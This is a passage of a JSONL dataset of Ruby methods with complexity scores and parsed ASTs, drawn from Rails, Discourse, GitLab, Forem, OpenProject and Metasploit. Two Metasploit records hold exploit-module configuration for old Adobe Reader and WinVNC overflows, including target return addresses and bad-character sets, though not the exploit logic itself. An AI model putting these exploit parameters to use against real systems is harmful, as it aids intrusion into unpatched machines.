end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ignores_origin_during_generation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"form_path\"]},{\"type\":\"str\",\"children\":[\"https://example.com/per_form_tokens/post_one/\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"form_token\",{\"type\":\"send\",\"children\":[null,\"assert_presence_and_fetch_form_csrf_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PATH_INFO\"]},{\"type\":\"str\",\"children\":[\"/per_form_tokens/post_one\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"post_one\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_authenticity_token\"]},{\"type\":\"lvar\",\"children\":[\"form_token\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]}]}]}","id":"9f1fa573-afa6-4dff-ab75-a8ea94f372cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/adobe_jbig2decode.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Adobe JBIG2Decode Memory Corruption',\n        'Description' => %q{\n          This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.\n          This module relies upon javascript for the heap spray.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          # Metasploit implementation\n          'natron',\n          # bl4cksecurity blog explanation of vuln [see References]\n          'xort', 'redsand',\n          # obfuscation techniques and pdf template from util_printf\n          'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',\n        ],\n        'References' => [\n          [ 'CVE', '2009-0658' ],\n          [ 'OSVDB', '52073' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n          'DisablePayloadHandler' => true\n        },\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\"\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)\n          [ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)\n        ],\n        'DisclosureDate' => '2009-02-19',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),\n    ])\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Adobe JBIG2Decode Memory Corruption\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.\\n\"]},{\"type\":\"str\",\"children\":[\"          This module relies upon javascript for the heap spray.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"natron\"]},{\"type\":\"str\",\"children\":[\"xort\"]},{\"type\":\"str\",\"children\":[\"redsand\"]},{\"type\":\"str\",\"children\":[\"MC\"]},{\"type\":\"str\",\"children\":[\"Didier Stevens <didier.stevens[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2009-0658\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"52073\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Adobe Reader v9.0.0 (Windows XP SP3 English)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[23508304]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Adobe Reader v8.1.2 (Windows XP SP2 English)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2600487024]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-02-19\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.pdf\"]}]}]}]}]}]}]}","id":"f0c58234-ac66-4f7e-abef-f9d1cb614f73"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_one_through_associations_test.rb","start_line":33,"raw_source":"def setup\n    @member = members(:groucho)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@member\",{\"type\":\"send\",\"children\":[null,\"members\",{\"type\":\"sym\",\"children\":[\"groucho\"]}]}]}]}","id":"54c00b42-bb1d-4f90-88cb-833dab77f3e9"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/phpbb_postgresql.rb","start_line":310,"raw_source":"def import_private_posts\n    puts \"Importing private posts...\"\n\n    posts = psql_query <<-SQL\n        SELECT msg_id, message_subject, author_id, to_address, message_time, message_text\n          FROM #{TABLE_PREFIX}privmsgs\n         WHERE msg_id > (#{@last_imported_private_topic_id - PRIVATE_OFFSET})\n      ORDER BY msg_id\n    SQL\n\n    create_posts(posts) do |row|\n      user_ids = get_message_recipients(row[\"author_id\"], row[\"to_address\"])\n      title = extract_pm_title(row[\"message_subject\"])\n      key = [title, user_ids]\n\n      next unless topic_id = topic_id_from_imported_id(@imported_topics[key])\n      {\n        imported_id: row[\"msg_id\"].to_i + PRIVATE_OFFSET,\n        topic_id: topic_id,\n        user_id: user_id_from_imported_id(row[\"author_id\"].to_i),\n        created_at: Time.zone.at(row[\"message_time\"].to_i),\n        raw: process_raw_text(row[\"message_text\"]),\n      }\n    end\n  end","complexity_score":38.0,"ast_json":"{\"type\":\"def\",\"children\":[\"import_private_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Importing private posts...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[null,\"psql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        SELECT msg_id, message_subject, author_id, to_address, message_time, message_text\\n\"]},{\"type\":\"str\",\"children\":[\"          FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"privmsgs\\n\"]},{\"type\":\"str\",\"children\":[\"         WHERE msg_id > (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_imported_private_topic_id\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"PRIVATE_OFFSET\"]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"      ORDER BY msg_id\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_posts\",{\"type\":\"lvar\",\"children\":[\"posts\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_ids\",{\"type\":\"send\",\"children\":[null,\"get_message_recipients\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"author_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"to_address\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[null,\"extract_pm_title\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message_subject\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic_id\",{\"type\":\"send\",\"children\":[null,\"topic_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@imported_topics\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"imported_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"msg_id\"]}]},\"to_i\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"PRIVATE_OFFSET\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"author_id\"]}]},\"to_i\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message_time\"]}]},\"to_i\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[null,\"process_raw_text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message_text\"]}]}]}]}]}]}]}]}]}","id":"5203f29e-d0d0-4d14-b0dc-8f1f12106d5d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240422070036_swap_ci_pipelines_pk_with_bigint_p_ci_builds_p_ci_stages.rb","start_line":258,"raw_source":"def recover_indexes\n    [PRIMARY_KEY[:new_index]].concat(INDEXES).each do |index_metadata|\n      add_concurrent_index(\n        TABLE, index_metadata[:columns],\n        name: index_metadata[:name], **index_metadata.fetch(:options, {})\n      )\n    end\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"recover_indexes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PRIMARY_KEY\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_index\"]}]}]},\"concat\",{\"type\":\"const\",\"children\":[null,\"INDEXES\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index_metadata\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"columns\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_metadata\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]}]}","id":"f04ce1b8-dd02-4f4e-827d-71ee803d309d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/diff.rb","start_line":199,"raw_source":"def submodule?\n        a_mode == '160000' || b_mode == '160000'\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"submodule?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"a_mode\"]},\"==\",{\"type\":\"str\",\"children\":[\"160000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"b_mode\"]},\"==\",{\"type\":\"str\",\"children\":[\"160000\"]}]}]}]}","id":"56c378e2-24f7-4282-9d61-843909cc5689"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/vnc/winvnc_http_get.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name'\t=> 'WinVNC Web Server GET Overflow',\n        'Description'\t=> %q{\n          This module exploits a buffer overflow in the AT&T WinVNC version\n          <= v3.3.3r7 web server. When debugging mode with logging is\n          enabled (non-default), an overly long GET request can overwrite\n          the stack. This exploit does not work well with VNC payloads!\n        },\n        'Author' => 'aushack',\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'BID', '2306' ],\n          [ 'OSVDB', '6280' ],\n          [ 'CVE', '2001-0168' ],\n        ],\n        'Privileged'\t=> true,\n        'DefaultOptions' => {\n          'EXITFUNC'\t=> 'thread',\n        },\n        'Payload' => {\n          'Space'\t=> 979,\n          'BadChars' => \"\\x00\\x09\\x0a\\x0b\\x0c\\x0d\\x20\\x0b\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => ['win'],\n        'Targets' => [\n          [ 'Windows NT4 SP3-6',\t{ 'Ret' => 0x779f4e39 } ], # push esp, ret msvcrt.dll\n          [ 'Windows 2000 SP1-4', { 'Ret' => 0x77bba3af } ], # jmp esp comctl32.dll\n          [ 'Windows XP SP0-1',\t{ 'Ret' => 0x71ab7bfb } ], # jmp esp ws2_32.dll\n        ],\n        'DisclosureDate' => '2001-01-29',\n        'DefaultTarget' => 1,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(5800),\n      ]\n    )\n  end","complexity_score":7.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WinVNC Web Server GET Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a buffer overflow in the AT&T WinVNC version\\n\"]},{\"type\":\"str\",\"children\":[\"          <= v3.3.3r7 web server. When debugging mode with logging is\\n\"]},{\"type\":\"str\",\"children\":[\"          enabled (non-default), an overly long GET request can overwrite\\n\"]},{\"type\":\"str\",\"children\":[\"          the stack. This exploit does not work well with VNC payloads!\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"aushack\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"2306\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"6280\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2001-0168\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[979]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\t\\n\\u000b\\f\\r \\u000b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows NT4 SP3-6\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2006928953]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP1-4\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2008785839]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP0-1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1907063803]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2001-01-29\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[5800]}]}]}]}]}]}","id":"225a7390-2a65-4126-994a-bf7a23c8881e"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/billboard.rb","start_line":292,"raw_source":"def audience_segment_type\n    @audience_segment_type ||= audience_segment&.type_of\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"audience_segment_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@audience_segment_type\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment\"]},\"type_of\"]}]}]}","id":"636a3173-5750-401a-b783-cd8573ba7886"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/policies/query_policy.rb","start_line":122,"raw_source":"def share_via_ical_allowed?(query)\n    if query.project\n      user.allowed_in_project?(:share_calendars, query.project)\n    else\n      user.allowed_in_any_project?(:share_calendars)\n    end\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"share_via_ical_allowed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"share_calendars\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_any_project?\",{\"type\":\"sym\",\"children\":[\"share_calendars\"]}]}]}]}","id":"8cd32ba4-60e0-457c-b9e0-e0d0b8a7e0a5"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/resource_helpers.rb","start_line":50,"raw_source":"def controller_class_name\n          (controller_class_path + [controller_file_name]).map!(&:camelize).join(\"::\")\n        end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"controller_class_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller_class_path\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller_file_name\"]}]}]}]},\"map!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"camelize\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"::\"]}]}]}","id":"bd292d03-a61f-457d-8f04-b66fa2df2e11"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":1355,"raw_source":"def test_should_not_allow_when_session_id_in_cookie_but_session_id_is_nil\n    initialize_csrf_token\n    @request.session = ActionController::TestSession.new({}, nil)\n\n    @controller.stub :form_authenticity_token, @token do\n      assert_blocked { post :index, params: { custom_authenticity_token: @token } }\n    end\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_allow_when_session_id_in_cookie_but_session_id_is_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initialize_csrf_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"session=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"TestSession\"]},\"new\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"form_authenticity_token\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_blocked\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_authenticity_token\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]}]}]}]}]}]}]}]}]}]}","id":"017f1440-efe0-499c-be17-a392dc8a9607"}
